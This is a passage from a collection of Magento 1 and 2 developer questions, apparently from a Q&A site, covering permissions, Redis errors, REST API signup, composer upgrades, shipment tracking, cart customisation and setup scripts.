sudo find var generated vendor pub/static pub/media app/etc -type d -exec chmod g+ws {} +
sudo chown -R :nginx .
sudo chmod u+x bin/magento

php bin/magento deploy:mode:set developer
php bin/magento setup:upgrade
php bin/magento setup:di:compile
php bin/magento setup:static-content:deploy -f
php bin/magento cache:flush

Access logs of Site:

There are no errors in erro-log files


texts: Issue with Magento2 and redis during customer import

texts:
There is a very strange issue on our Magento site. We are running a cron job to import product/customer, which runs every second. These work fine for some order but it breaks sometimes.
Notice: Redis::exec(): send of 8192 bytes failed with errno=32 Broken pipe error in vendor/colinmollenhour/credis/Client.php
These errors only show for some random orders.
Please, does anyone has any clue on how I can solve this??
Thanks


texts:
I have a category attribute that I have added to the admin view using...

 <fieldset name="general">
        <field name="category_customer_id">
            <argument name="data" xsi:type="array">
                <item name="config" xsi:type="array">
                    <item name="sortOrder" xsi:type="number">50</item>
                    <item name="dataType" xsi:type="string">string</item>
                    <item name="formElement" xsi:type="string">select</item>
                    <item name="label" xsi:type="string" translate="true">Customer</item>
                    <item name="source" xsi:type="string">companyoptions</item>
                </item>
            </argument>
        </field>
    </fieldset>

This displays the form in the admin but with no options in the dropdown.

I then define the dataSource using

<dataSource name="companyoptions_form_data_source">
        <argument name="dataProvider" xsi:type="configurableObject">
            <!--<argument name="class" xsi:type="string">CompanyGridDataProvider</argument>-->

            <argument name="class" xsi:type="string">Vendor\CustomerProducts\Model\Config\Source\CompanyOptions</argument>
            <argument name="name" xsi:type="string">categry_company_listing_data_source</argument>
            <argument name="primaryFieldName" xsi:type="string">companyId</argument>
            <argument name="requestFieldName" xsi:type="string">id</argument>
            <argument name="data" xsi:type="array">
                <item name="config" xsi:type="array">
                    <item name="update_url" xsi:type="url" path="mui/index/render"/>
                </item>
            </argument>
        </argument>
        <argument name="data" xsi:type="array">
            <item name="js_config" xsi:type="array">
                <item name="component" xsi:type="string">Magento_Ui/js/form/provider</item>
            </item>
        </argument>
    </dataSource>

In the Vendor\CustomerProducts\Model\Config\Source\CompanyOptions I have a getData() function which returns the data.... but the category page never loads....

Any help would be great.


texts: Sign Up with Customer Image attribute REST API : Magento 2

texts:
I added image attribute in customer create account, edit account in Setup/InstallData.php as following:

public function install(ModuleDataSetupInterface $setup, ModuleContextInterface $context)
    {

        $installer = $setup;
        $installer->startSetup();

        $customerSetup = $this->customerSetupFactory->create(['setup' => $setup]);
        $entityTypeId = $customerSetup->getEntityTypeId(\Magento\Customer\Model\Customer::ENTITY);
        $customerSetup->removeAttribute(\Magento\Customer\Model\Customer::ENTITY, "avatar");

        $customerSetup->addAttribute(\Magento\Customer\Model\Customer::ENTITY, "avatar",  array(
            "type"     => "varchar",
            "backend"  => "",
            "label"    => "Avatar",
            "input"    => "image",
            "source"   => "",
            "visible"  => true,
            "required" => true,
            "default" => "",
            "frontend" => "",
            "unique"     => false,
            "note"       => ""

        ));

        $promotion_code   = $customerSetup->getAttribute(\Magento\Customer\Model\Customer::ENTITY, "avatar");

        $promotion_code = $customerSetup->getEavConfig()->getAttribute(\Magento\Customer\Model\Customer::ENTITY, 'avatar');
        $used_in_forms[]="adminhtml_customer";
        $used_in_forms[]="checkout_register";
        $used_in_forms[]="customer_account_create";
        $used_in_forms[]="customer_account_edit";
        $used_in_forms[]="adminhtml_checkout";
        $promotion_code->setData("used_in_forms", $used_in_forms)
            ->setData("is_used_for_customer_segment", true)
            ->setData("is_system", 0)
            ->setData("is_user_defined", 1)
            ->setData("is_visible", 1)
            ->setData("sort_order", 100);

        $promotion_code->save();

        $installer->endSetup();
    }

The problem is I cant do sign up via REST API, I am using this API :

POST http://domain.com/index.php/rest/V1/customers

Body :

  {
     "customer": {
         "email": "abc@gmail.com",
         "firstname": "Abc",
         "lastname": "Xyz" ,
         "custom_attributes": [
          {
            "attribute_code": "avatar",
            "value": ""  //encoded base_64 image
          }
        ]

     },

     "password": "Abc@123456"
  }

I tries to put Image in encoding base64 image, but I always get this error:

{
    "message": "The image content must be valid base64 encoded data."
}

How can I solve this?

In general are the body parameters correct, If not how can I post correct body?


texts: File error by permistion in centos 7 magento 2?

texts:
In Magento 2 I get an error in my VPS
 ... is not writable in /vendor/magento/zendframework1/library/Zend/Cache.php:209

i tried set
find . -type d -exec chmod 755 {} \; && find . -type f -exec chmod 644 {} \; && chmod u+x bin/magento but not success. Any suggestion?

I checked permissions in my site.

folder 755
file   644
owner/group  nginx:nginx

in nginx.config
user nginx;
in php-fpm.config
user: nginx
group: nginx

somebody help me!


texts: How do I get the discount amount in the minicart for 1.9?

texts:
In the minicart of 1.9, the total is produced by $this->getSubtotal(). See file app/design/frontend/rwd/default/template/checkout/cart/minicart/items.phtml.

That total does not subtract any potential discounts (created as shopping cart price rules). How can I access potential discounts in the minicart? In the full shopping cart the discount is subtracted automatically from the total but the same code does not work in the minicart.

In Magento 1.7 it produced the correct total (including discount) but something has changed for 1.9.


texts: Is there any way to get back the cancelled order?

texts: I have cancelled an order in magento, I need to get back the order with status pending and wanted to process the same order again. Is there any possibility of doing it.


texts: Imported product not visible in admin & database

texts:
I have imported data with csv file :

"_type",sku,"_attribute_set",websites,store,qty,tax_class_id,visibility,name,price,description,short_description,weight,status,pro_position,casa_position,show_on_homepage,main_product,bottle_litres,category_ids,is_in_stock
"simple","1234","Default","base","es",12,4,1,"Bebidas refrescantes",75,"Lo  amarás","Lo amarás",2.8,1,34,38,"Yes","No",3.86,10,"In Stock"

I am getting success message as :

Import successfully done.

Still data is not present in database too.What is wrong?


texts: How to remove "Shipping & Handling" and " Tax" on email transactional?

texts:
I wish to remove these elements :

Here is the tax configuration :


texts: "Please wait" sign comes up when working with categories in Admin - and stays for a long time

texts:
Magento 1.9.1
Porto theme
Amasty's Full Page Cache

When going into Catalog --) Categories and trying to do something like move a category what happens is - the "Please wait" sign comes up with the circle and it takes almost 5 minutes before it goes away. It now seems to do what it suppose to and unfreezes the screen after those 5 minutes. Yesterday, it would completely freeze the screen I think.

I was getting Error messages when doing this exact thing about 3 days ago:

SQLSTATE[HY000]: General error: 1205 Lock wait timeout exceeded; try restarting transaction, query was: INSERT INTO `mg_index_process_event` (`process_id`,`event_id`,`status`) VALUES (?, ?, ?) ON DUPLICATE KEY UPDATE `status` = VALUES(`status`)

SQLSTATE[HY000]: General error: 1205 Lock wait timeout exceeded; try restarting transaction, query was: UPDATE `mg_catalog_category_entity` SET `entity_type_id` = ?, `attribute_set_id` = ?, `parent_id` = ?, `created_at` = '2015-05-29 03:04:01', `updated_at` = '2017-09-12 15:01:17', `path` = ?, `position` = ?, `level` = ?, `children_count` = ? WHERE (`entity_id`=111)

SQLSTATE[HY000]: General error: 1205 Lock wait timeout exceeded; try restarting transaction, query was: INSERT INTO `mg_index_process_event` (`process_id`,`event_id`,`status`) VALUES (?, ?, ?) ON DUPLICATE KEY UPDATE `status` = VALUES(`status`)

I cleared all Cache and re-indexed. Also restarted mySQL and Apache but it did not help.


texts:
I want to remove alert.js file from my DOM.
following is the file location

"vendor\magento\module-ui\view\base\web\js\modal\alert.js"

I tried so many ways in my child theme's default.xml file

<remove src="Magento_Ui::js/modal/alert.js"/>

But it still load in DOM.


texts: Magento 1.8.0.1 - Grand total is showing subtracted VAT

texts:
Having the exact same problem as here Grand total is wrong: VAT is substracted
But there is not answer to the question, so im trying again, and hope someone can help.

As you can see on the picture, there is a problem with grand total, but subtotal is showing correct, anyone that can think of something that could be wrong here?
I have tried everything in the VAT backend VAT settings for cart.


texts: I want to change logo using code,so anyone can have idea then please reply this question.I want to change logo using phtml file.


texts: Magento2 : How to add row/pattern type of customer attribute

texts:
How to add a row/pattern type of custom customer attribute (dynamic rows). We have the below attribute in Magento 1, we need to achieve the same in Magento 2.

I don't find any code reference for this, If anything I found, I'll update here.

Any help would be much appreciated. Thanks.


texts:
Situation: Magento 2 upgrade from 2.3.5 to 2.4 not working via composer - php is already at version 7.4 before the upgrade!
These commands executed fine
COMPOSER_MEMORY_LIMIT=8G composer remove magento/product-community-edition --no-update
COMPOSER_MEMORY_LIMIT=8G composer require magento/product-community-edition=2.4.0 --no-update
And we needed to remove 1 package that had php stability as ~7.3
COMPOSER_MEMORY_LIMIT=8G composer remove package/package --no-update
BUt now we see (shortened here, but repeated vesion numbers like
tig/postnl-magento2 1.9.4.1 requires magento/framework
magento/framework 102.0.5-p2 requires php ~7.1.3||~7.2.0||~7.3.0 -> your PHP version (7.4.10) does not satisfy that requirement.
So it would seem we cannot upgrade due to? magento/framework? in it's composer file I can see
    "require": {
        "php": "~7.1.3||~7.2.0||~7.3.0",

Also I can see tig/postnl-magento2 has in it's composer file I can see
        "php": "~7.0|~7.1|~7.2|~7.3",
        "ext-soap": "*",
        "magento/framework": ">=100.1.0,<=100.1.18|>=101.0.0,<=101.0.11|~102.0",

question: is there a way to work around these 2 limiting dependencies? And also: how come the magento/framework does not want to upgrade if M2.4 is based on php 4.0 ....
Help appreciated


texts: Unable to add/persist tracking data with magento 2 rest api

texts:
There is a store that I'm posting shipments to via the rest api. I'm POSTing to the /V1/orders/<order_number>/ship endpoint. My post data looks like:

{
  "items":
    [
      {
        "orderItemId": 123456,
        "qty": 3
      }
    ],
  "tracks":
    [
      {
        "track_number": 12341234123423
        "carrier_code": "FEDEXG"
      }
    ]
}

and when I query the api to look at my shipment, the shipment is there, but tracks is an empty array []. If I try to add the tracking data after the fact with /V1/shipments/track,
and the following data:

{
  "entity": {
     "order_id": 123456,
     "entity_id": 12345,
     "track_number": 123123123123,
     "carrier_code": "FEDEXG"
   }
}

i get the following error message:

{
"message": "Could not save the shipment tracking.",
"trace": "#0 [internal function]: Magento\\Sales\\Model\\Order\\Shipment\\TrackRepository->save(Object(Magento\\Sales\\Model\\Order\\Shipment\\Track))\n#1
/home/company/public_html/vendor/magento/module-webapi/Controller/Rest.php(330): call_user_func_array(Array, Array)\n#2
/home/company/public_html/vendor/magento/module-webapi/Controller/Rest.php(239): Magento\\Webapi\\Controller\\Rest->processApiRequest()\n#3
/home/company/public_html/vendor/magento/framework/Interception/Interceptor.php(58): Magento\\Webapi\\Controller\\Rest->dispatch(Object(Magento\\Framework\\App\\Request\\Http))\n#4
/home/company/public_html/vendor/magento/framework/Interception/Interceptor.php(138): Magento\\Webapi\\Controller\\Rest\\Interceptor->___callParent('dispatch', Array)\n#5
/home/company/public_html/vendor/magento/framework/Interception/Interceptor.php(153): Magento\\Webapi\\Controller\\Rest\\Interceptor->Magento\\Framework\\Interception\\{closure}(Object(Magento\\Framework\\App\\Request\\Http))\n#6
/home/company/public_html/generated/code/Magento/Webapi/Controller/Rest/Interceptor.php(39): Magento\\Webapi\\Controller\\Rest\\Interceptor->___callPlugins('dispatch', Array, Array)\n#7
/home/company/public_html/vendor/magento/framework/App/Http.php(135): Magento\\Webapi\\Controller\\Rest\\Interceptor->dispatch(Object(Magento\\Framework\\App\\Request\\Http))\n#8
/home/company/public_html/generated/code/Magento/Framework/App/Http/Interceptor.php(24): Magento\\Framework\\App\\Http->launch()\n#9     /home/company/public_html/vendor/magento/framework/App/Bootstrap.php(256): Magento\\Framework\\App\\Http\\Interceptor->launch()\n#10
/home/company/public_html/index.php(39): Magento\\Framework\\App\\Bootstrap->run(Object(Magento\\Framework\\App\\Http\\Interceptor))\n#11 {main}"
}

Anyone know what I am doing wrong here? I'd be fine with either adding tracking data at the time I make the shipment, or adding it after. I just need a way to add tracking data to the shipment.


texts: What to do if my Magento website is affected by Cloudflare's #Cloudbleed traffic leak

texts:
As some of you may know, a Cloudflare vulnerability has been released yesterday. From what I understood, a lot of websites have been affected because they hosted JS libraries on their CDNs.

Some references:

Where it started: https://bugs.chromium.org/p/project-zero/issues/detail?id=1139
Cloudflare blog post: https://blog.cloudflare.com/incident-report-on-memory-leak-caused-by-cloudflare-parser-bug/
List of affected websites: https://github.com/pirate/sites-using-cloudflare

From this last link you have a "What should I do ?" section :

  Check your password managers and change all your passwords, especially
  those on these affected sites. Rotate API keys & secrets, and confirm
  you have 2-FA set up for important accounts. This might sound like
  fear-mongering, but the scope of this leak is truly massive, and due
  to the fact that all cloudflare proxy customers were vulnerable to
  having data leaked, it's better to be safe than sorry.

  Theoretically sites not in this list can also be affected (because an
  affected site could have made an API request to a non-affected one),
  you should probably change all your important passwords.

  Submit PR's to add domains that you know are using cloudflare

Now, regarding Magento specifically:

should we change all the Magento passwords ?
admin passwords ?
frontend passwords too ?
email the entire customer database and change the hashes so they use the forgot password feature ?


texts:
I want to create custom report in magento.
How to create a custom report in magento?
Can share link how to create? Because i find very few solution to create to custom report.


texts: Magento 2: Why catalog_product_save_after event is not listed?

texts:
On manually saving products on the admin page, I have tested the catalog_product_save_after event and my observer can successfully catch the event. So this event exists in Magento 2, however I can not find this event in any cheat sheets like: https://cyrillschumacher.com/magento-2.1-list-of-all-dispatched-events/

On the other hand, I can find controller_action_catalog_product_save_entity_after in the list.

So here is my question: why catalog_product_save_after event is not listed? What is the difference between catalog_product_save_after and controller_action_catalog_product_save_entity_after?


texts: Current customer cart prices does not update after catalog price rules are inactive

texts:
Here's the problem:

Logged in customer adds a product the cart that is on sale based on catalog price rules.
The price rule goes inactive.
Customer comes back the next day and the price in their cart is still the sale price!

This is a huge issue! I found that if the customer adds a product currently not on sale, when the promotion kicks in, their cart price correctly updates to the new sale price. Then when it goes inactive again, it also updates. This issue only seems to happen if when adding the product to the cart, the promotion is active on the product.

Yes, I've reindexed all and Save and Applied the promotion rule. Hope somebody knows a fix!


texts: Different currencies not working in custom store views

texts:
In the Default Store View that is created in fresh Magento 2 installation, the currency switcher works, but only for EUR and USD. If I add British Pound or other currency to allowed currencies then it doesn't show up in currency switcher.
If I switch to other store view in store switcher (I mad English and German store views), there are no currency switchers and both use the same currency.
I have set Default Display Currency and Allowed Currencies to British Pound on English store view. EUR on German store view.

I tried to do this in backend and via setup script.

public function setDefaultCurrencies()
{
    $this->_config->saveConfig('currency/options/base', 'EUR', 'default', 0);
    $this->_config->saveConfig('currency/options/default', 'EUR', 'default', 0);
    $this->_config->saveConfig('currency/options/allow', 'EUR,GBP', 'default', 0);
}

public function setStoreViewCurrencies()
{
    $stores = $this->_storeManager->getStores(true, false);

    foreach ($stores as $store) {
        $storeId = $store->getId();

        if ($store->getCode() == 'en') {
            $this->_config->saveConfig('currency/options/allow', 'GBP', 'stores', $storeId);
            $this->_config->saveConfig('currency/options/default', 'GBP', 'stores', $storeId);
        }

        if ($store->getCode() == 'de') {
            $this->_config->saveConfig('currency/options/allow', 'EUR', 'stores', $storeId);
            $this->_config->saveConfig('currency/options/default', 'EUR', 'stores', $storeId);
        }
    }
}

EDIT:


texts:
Is it possible to overwrite Magento core functionality in this way? -

Mage_Sales_Block_Order_Total {

    protected function _initTotals(){
    //this is core
    }
}

and overwrite it with this -

//This Totals class path would be Mage_Sales_Block_Order_Totals
//but in local codePool
//now is there a need to create a rewrite in config.xml and register module
//in app/etc/ if I would do it this way? Since local codePool is loaded
//first

Totals extends Mage_Sales_Block_Order_Totals {

    protected function _initTotals(){
    //changed core functionality
    }
}


texts: Magento2: How to temporarily disable "update on save" when saving products programatically?

texts:
I have a CLI command on my module that runs through the products collection & updates some of the attributes.
I noticed that it's extremely slow. Each save() takes about 4-5 seconds, which is a lot when you have thousands...
My first guess was that it happens because some of the indexers are set to 'Update on save' (correct me if I'm wrong).

Is there any way to tell Magento to skip the indexing until the process is done & then reindex all at once?
If it's not the indexers then what else could it be?


texts:
If I can use session to store a variable like  this

$session = Mage::getSingleton('core/session')->setData('Message');

then what is the use of

$session = Mage::getSingleton('core/session', array('name'=>'frontend'));
what does this code actually do.


texts: On magento 2 which is feasible solution when we think of creating new column or creating attributes

texts: Can some one tell me, which method is feasible when we think of data operation say. Adding one more column to existing table or creating attributes. Which is better among these and why.


texts: Magento : Calling SOAP API on Local Server Returning HTTP Bad Request

texts:
I created SOAP API on my magento website and it's working correctly on live server. But now I need to using those API in another server machine at local environment (local machine with IIS7) and for this I created copy of live website on that machine with live database and perform further stuff like change url etc...; At local Website (front-end/back-end both) working correctly. But when I run API's, those are not returning correct result to me. every time returning bad request error "faultstring":"Bad Request","faultcode":"HTTP"}.

  SoapFault exception: [HTTP] Bad Request in
  D:\Projects\Php\Dev6\mobile_app\mobile_action.php:97 Stack trace: #0
  [internal function]:
  SoapClient->__doRequest('__call('catalogCategory...', Array) #2
  D:\Projects\Php\Dev6\mobile_app\mobile_action.php(97):
  SoapClient->catalogCategoryTree('f6a180fd37c28c7...') #3
  {main}{"faultstring":"Bad Request","faultcode":"HTTP"}

Code of API file :

try
{
    $soapClient = new SoapClient("http://192.168.xx.xxx:8086/index.php/api/v2_soap/index/wsdl/1/");
    $sessionId = $soapClient->login('xxxxxxxxx', 'xxxxxxxxx00xxxxxxxx'); //-- $sessionId returning result means soap client created

    $data = $soapClient->catalogCategoryTree($sessionId);
    $result = array('Success' => 1, 'category_list' => $data);
    echo json_encode($result);
    return;
}
catch (Exception $e)
{
    return $e;
}

Also, it's only occurred when I used SOAP Client function calling like $soapClient->catalogCategoryTree($sessionId) But if I directly access data using Mage instance then it's returning correct result. for example with following code API resulting correctly -

try
{
    $soapClient = new SoapClient("http://192.168.xx.xxx:8086/index.php/api/v2_soap/index/wsdl/1/");
    $sessionId = $soapClient->login('xxxxxxxxx', 'xxxxxxxxx00xxxxxxxx'); //-- $sessionId returning result means soap client created

    $arr = array();
    $_helper = Mage::helper('catalog/category');
    $_categories = $_helper->getStoreCategories();
    if (count($_categories) > 0) {
        foreach ($_categories as $_category)
            {
              $current_catg_id = $_category->getId();
              $arr[] = array("catg_id" => $current_catg_id, "name" => $_category->getName());
           }
    }
    $result = array('Success' => 1, 'category_list' => $arr);
     echo json_encode($result);
    return;
}
catch (Exception $e)
{
    echo $e;
    return;
}


texts: Magento 2. How to fetch available shipping methods for current customer

texts: I'd like to know how can I fetch all shipping careers available for the current customer (quote wasn't created yet).


texts: Warnings and errors during setup:di:compile-multi-tenant

texts:
running latest develop branch on Windows 8.1 PHP 7.0rc5:

$ $PHP -d memory_limit=1024M -f bin/magento setup:di:compile-multi-tenant
PHP Warning:  Declaration of Magento\Newsletter\Test\Unit\Model\Queue\TransportBuilderTest::testGetTransport($templateType = Magento\Framework\App\TemplateTypesInterface::TYPE_HTML, $messageType = Magento\Framework\Mail\MessageInterface::TYPE_HTML, $bodyText = '<h1>Html m...') should be compatible with Magento\Framework\Mail\Test\Unit\Template\TransportBuilderTest::testGetTransport($templateType, $messageType, $bodyText, $templateNamespace) in C:\dev\www\magento2\app\code\Magento\Newsletter\Test\Unit\Model\Queue\TransportBuilderTest.php on line 11
...
Errors during compilation:
    Magento\Framework\Code\Test\Unit\Generator\TestAsset\TestGenerationClass

            Class Not_Existing_Class does not exist
    WrongArgumentsOrder
            Incompatible argument type: Required type: \stdClass. Actual type: \ClassExtendsDefaultPhpType; File: C:/dev/www/magento2/lib/internal/Magento/Framework/Code/Test/Unit/Reader/_files/ClassesForArgumentsReader.php

    ArgumentsOnSeparateLines
            Incompatible argument type: Required type: \stdClass. Actual type: \ClassExtendsDefaultPhpType; File: C:/dev/www/magento2/lib/internal/Magento/Framework/Code/Test/Unit/Reader/_files/ClassesForArgumentsReader.php

    ClassArgumentAlreadyInjectedIntoContext
            Incorrect dependency in class ClassArgumentAlreadyInjectedIntoContext in C:/dev/www/magento2/lib/internal/Magento/Framework/Code/Test/Unit/Validator/_files/ClassesForConstructorIntegrity.php \ClassA already exists in context object

    ClassArgumentWrongOrderForParentArguments
            Incompatible argument type: Required type: \Context. Actual type: \ClassA; File: C:/dev/www/magento2/lib/internal/Magento/Framework/Code/Test/Unit/Validator/_files/ClassesForConstructorIntegrity.php

    ClassArgumentWithWrongParentArgumentsType
            Incompatible argument type: Required type: array. Actual type: \ClassB; File: C:/dev/www/magento2/lib/internal/Magento/Framework/Code/Test/Unit/Validator/_files/ClassesForConstructorIntegrity.php

    ClassArgumentAlreadyInjectedInContext
            Incorrect dependency in class ClassArgumentAlreadyInjectedInContext in C:/dev/www/magento2/lib/internal/Magento/Framework/Code/Test/Unit/Validator/_files/ClassesForContextAggregation.php \ClassFirst already exists in context object

    ClassArgumentWithAlreadyInjectedInterface
            Incorrect dependency in class ClassArgumentWithAlreadyInjectedInterface in C:/dev/www/magento2/lib/internal/Magento/Framework/Code/Test/Unit/Validator/_files/ClassesForContextAggregation.php \InterfaceFirst already exists in context object

    Magento\SomeModule\Model\Five\Test
            Missed required argument factory in parent::__construct call. File: C:/dev/www/magento2/lib/internal/Magento/Framework/Code/Test/Unit/_files/app/code/Magento/SomeModule/Model/Five/Test.php

    Magento\SomeModule\Model\Four\Test
            Extra parameters passed to parent construct: $factory. File: C:/dev/www/magento2/lib/internal/Magento/Framework/Code/Test/Unit/_files/app/code/Magento/SomeModule/Model/Four/Test.php

    Magento\SomeModule\Model\Six\Test
            Incompatible argument type: Required type: \Magento\SomeModule\Model\Proxy. Actual type: \Magento\SomeModule\Model\ElementFactory; File:C:/dev/www/magento2/lib/internal/Magento/Framework/Code/Test/Unit/_files/app/code/Magento/SomeModule/Model/Six/Test.php

Total Errors Count: 11

On the web getting:

  Service Temporarily Unavailable

  The server is temporarily unable to service your request due to maintenance downtime or capacity problems. Please try again later.

Am I doing something wrong?


texts:
Hei all
I am working on customisation of product detail page where I have added text box for qty with every available size, my module will work like if user want S size with 5 pieces , M size with 2 pieces then he will able to choose that. I have added custom form action and my controller code is

    <?php

namespace Custom\Product\Controller\Add;

use Magento\Catalog\Model\Product;
use Magento\Checkout\Model\Cart;
use Magento\Framework\App\Action\Context;
use Magento\Framework\View\Result\PageFactory;

class Index extends \Magento\Framework\App\Action\Action
{
    /**
     * @var Cart
     */
    protected $cart;
    /**
     * @var Product
     */
    protected $product;

    public function __construct(
        Context $context,
        PageFactory $resultPageFactory,
        Product $product,
        Cart $cart
    ) {
        $this->resultPageFactory = $resultPageFactory;
         $this->cart = $cart;
        $this->product = $product;
        parent::__construct($context);
    }

    public function execute()
    {
        try {
            $post = $this->getRequest()->getPostValue();
            $params = array();
            foreach($post['selected_qty'] as $key => $qty) {
                if($qty > 0 && !empty($qty))
                    $params['qty'][$key] = $qty;
           }

            $params['product'] = $post['product'];
            $params['form_key'] = $post['form_key'];
            $_product = $this->product->load($params['product']);
            if ($_product) {
                $this->cart->addProduct($_product, $params);
                $this->cart->save();
            }

            $this->messageManager->addSuccess(__('Add to cart successfully.'));
        } catch (\Magento\Framework\Exception\LocalizedException $e) {
            $this->messageManager->addException(
                $e,
                __('%1', $e->getMessage())
            );
        } catch (\Exception $e) {
            $this->messageManager->addException($e, __('error.'));
        }
        /*cart page*/
        $this->getResponse()->setRedirect('/checkout/cart/index');

    }
}

but my product is not adding in cart getting below error

  You need to choose options for your item

Can anyone help me?


texts: Fatal error: Class 'Varien_Db_Dbl_Table' not found

texts:
I am trying to write a upgrade script but unfortunately I am getting an error that says

  Fatal error: Class Varien_Db_Dbl_Table not found in
  mysql4-upgrade-1.0.1-1.0.2.php on line 7.

Here is my code

<?php
$installer = $this;
$installer->startSetup();

$table = $installer->getConnection()
    ->newTable($installer->getTable('abhi_gallery/gallery'))
    ->addColumn('id', Varien_Db_Dbl_Table::TYPE_INTEGER, null,
        array(
            'identity' => true,
            'unsigned' => true,
            'nullable' => false,
            'primary'  => true,
        ), 'Value id')
    ->addColumn('cms_page_id', Varien_Db_Dbl_Table::TYPE_INTEGER, null,
        array(
            'nullable' => false,
        ), 'Cms page id')
    ->addColumn('position', Varien_Db_Dbl_Table::TYPE_INTEGER, null,
        array(
            'unsigned' => true,
            'nullable' => true,
        ), 'Position')
    ->addColumn('file', Varien_Db_Dbl_Table::TYPE_INTEGER, 255,
        array(
            'nullable' => false,
        ), 'File Name')
    ->addColumn('label', Varien_Db_Ddl_Table::TYPE_VARCHAR, 255,
        array(
            'nullable' => true,
        ), 'Label')
    ->addColumn('is_disabled', Varien_Db_Ddl_Table::TYPE_BOOLEAN, null,
        array(
            'nullable' => true,
        ), 'Is Disabled');

$installer->getConnection()->createTable( $table );

$installer->getConnection()->addForeignKey(
    $installer->getFkName(
        'abhi_gallery/gallery',
        'cms_page_id',
        'cms/page',
        'page_id'
    ),
    $installer->getTable('abhi_gallery/gallery'),
    'cms_page_id',
    $installer->getTable('cms/page'),
    'page_id'
);
$installer->endSetup();
?>


texts:
Last days I have this strange issue in my Magento instance. When you are in front end catalog category page and press store view link, Magento changes to the right store view but you get message

  Invalid form key. Please refresh page

This is happening to all catalog pages only. Not on homepage or cms pages.

I have no error in console or logs and I have increased max_inputs_vars in php to 200000

Also I don’t use Magento cookie path and I have set cookie lifetime to 14400

After further check this issue is not in dev server which I don't use Varnish and Redis. I am suspecting these....

Any help please?


texts: I'm trying to figure out how to get to V2 soap in magento2.0  I'm not having any luck finding it.


texts: Magento 2 Add to cart button is disabled after importing products

texts:
I'm struggling with a weird problem.

I imported products with attributes and attributes set to my store successfully.
However I notice that Add to cart button is disabled! it's just disabled in product page, on catalog is fine. What could it be? I have multistore, don't know if that could be a reason.
Look:

Thanks!


texts:
Im trying to learn how to join two tables using this tutorial but I'm returning a sql error. In order to work what ive done wrong I would like to see the query being generated, how do I display it?

I've tried Zend_Debug::dump($collection); that doesn't gice me the query, what does?


texts: How to save/load/retain admin Insertlisting component row selections

texts:
I'm trying to create an admin form tab like in the picture below, where the following occur:

On page load, existing selections are already checked in the grid
On save, new/existing selections in the grid get sent in post request for saving
On search/filtering, new/existing selections in the grid are retained for eventual saving

Due to the requirements above, I have used the InsertListing ui component:

DevDocs - InsertListing Component

I am not sure how to get the selections to work the way I described above.


texts: Configure multiple websites on a single magento install

texts:
I am using XAMPP and Magento 1.9.2.
I have created a website store and store view in the Magento admin panel.

How do I access it? The way I access the main Store => localhost/magento.
I have changed the base URL of the default config so I cannot access Magento admin now.

What are the steps to do that?


texts: Magento 2 pass multiple parameters in the admin grid action url

texts:
In Magento 2.2.5, I am sending the id in the url now, But, I want send multiple parameters in the admin grid action url. I created admin grid using layout Blocks. Not used ui component.

How to achieve this.

Here is my code:

<block class="Magento\Backend\Block\Widget\Grid\Column" as="action">
                    <arguments>
                        <argument name="id" xsi:type="string">action</argument>
                        <argument name="header" xsi:type="string" translate="true">Action</argument>
                        <argument name="type" xsi:type="string">action</argument>
                        <argument name="getter" xsi:type="string">getId</argument>
                        <argument name="filter" xsi:type="boolean">false</argument>
                        <argument name="sortable" xsi:type="boolean">false</argument>
                        <argument name="index" xsi:type="string">weblog</argument>
                        <argument name="is_system" xsi:type="boolean">true</argument>
                        <argument name="actions" xsi:type="array">
                            <item name="view_action" xsi:type="array">
                                <item name="caption" xsi:type="string" translate="true">Assign</item>
                                <item name="url" xsi:type="array">
                                    <item name="base" xsi:type="string">apptha_customergroup/deal/assign</item>
                                </item>
                                <item name="field" xsi:type="string">id</item>
                            </item>
                        </argument>
                        <argument name="header_css_class" xsi:type="string">col-actions</argument>
                        <argument name="column_css_class" xsi:type="string">col-actions</argument>
                    </arguments>
                </block>


texts: How to implement custom collection properly in Magento2?

texts:
I am trying to inject a CollectionFactory object into a Plugin like this:

/**
 * PopulateCustomerCards constructor.
 * @param CardCollectionFactory $cardCollectionFactory
 */
public function __construct(
    CardCollectionFactory $cardCollectionFactory
) {
    $this->cardCollectionFactory = $cardCollectionFactory;
}

I also create the Collection class like this:

class Collection extends Magento\Framework\Model\ResourceModel\Db\Collection\AbstractCollection
{
    public function doSomething()
    {
        /* ... some magic is done here */
    }
}

When I run setup:di:compile the CardCollectionFactory is created like this:

/**
 * Factory class for @see \My\Module\Model\ResourceModel\Card\Collection
 */
class CollectionFactory
{
    /**
     * Object Manager instance
     *
     * @var \Magento\Framework\ObjectManagerInterface
     */
    protected $_objectManager = null;

    /**
     * Instance name to create
     *
     * @var string
     */
    protected $_instanceName = null;

    /**
     * Factory constructor
     *
     * @param \Magento\Framework\ObjectManagerInterface $objectManager
     * @param string $instanceName
     */
    public function __construct(\Magento\Framework\ObjectManagerInterface $objectManager, $instanceName = '\\My\\Module\\Model\\ResourceModel\\Card\\Collection')
    {
        $this->_objectManager = $objectManager;
        $this->_instanceName = $instanceName;
    }

    /**
     * Create class instance with specified parameters
     *
     * @param array $data
     * @return \My\Module\Model\ResourceModel\Card\Collection
     */
    public function create(array $data = array())
    {
        return $this->_objectManager->create($this->_instanceName, $data);
    }
}

The problem is when I run the code, file Magento\Framework\Model\ResourceModel\Db\Collection\AbstractCollection breaks at line:

    $this->setConnection($this->getResource()->getConnection());

Because \Magento\Framework\DB\Adapter\AdapterInterface $connection = null is not being injected in the constructor.


texts: Removing "Compare" from my template in Magento 2

texts:
Each product has a "Add to Compare" link with it and the catalog list page has a "Compare Products" section in the sidebar. I want to remove all trace of compare functionality in my template.

All the answers and help have been on Magento 1.* versions. They don't work in Magento 2.


texts: Which function compares edit bundle with bundle in cart

texts:
We have customized bundles to add mandatory custom options to the bundle items. Problem is, if you edit a bundle from cart the changed custom options on bundle-item level is not recognized by the standard compare function, as this function currently does not know about this customization.

Procedure:

Select bundle and make the selections.
Add bundle to cart.
In cart press edit in bundle line.
Magento opens the configure id and you can change the bundle.
Change a custom option on bundle-item level.
Press "update cart".
If just a custom option was changed, Magento does not recognize the
change.

Questions:

Which function/source compares current bundle with bundle in cart if something was changed and a update of the existing bundle in cart is necessary.


texts: How can I add .phtml file in Email template at admin side Template

texts:
I am trying to get .phtml file in email template as well as passing variable from email to phtml file
"/developer.americanfireglass.com/app/design/frontend/custom/theme/Magento_Sales/templates/email/items.relatedproduct.phtml"


texts: How to apply interval discounts to original shopping cart price

texts:
I have the following scenario

Buy 10 - 24 items get 10% discount
Buy 25 - 49 items get 15% discount
Buy 50 items or more get 20% discount

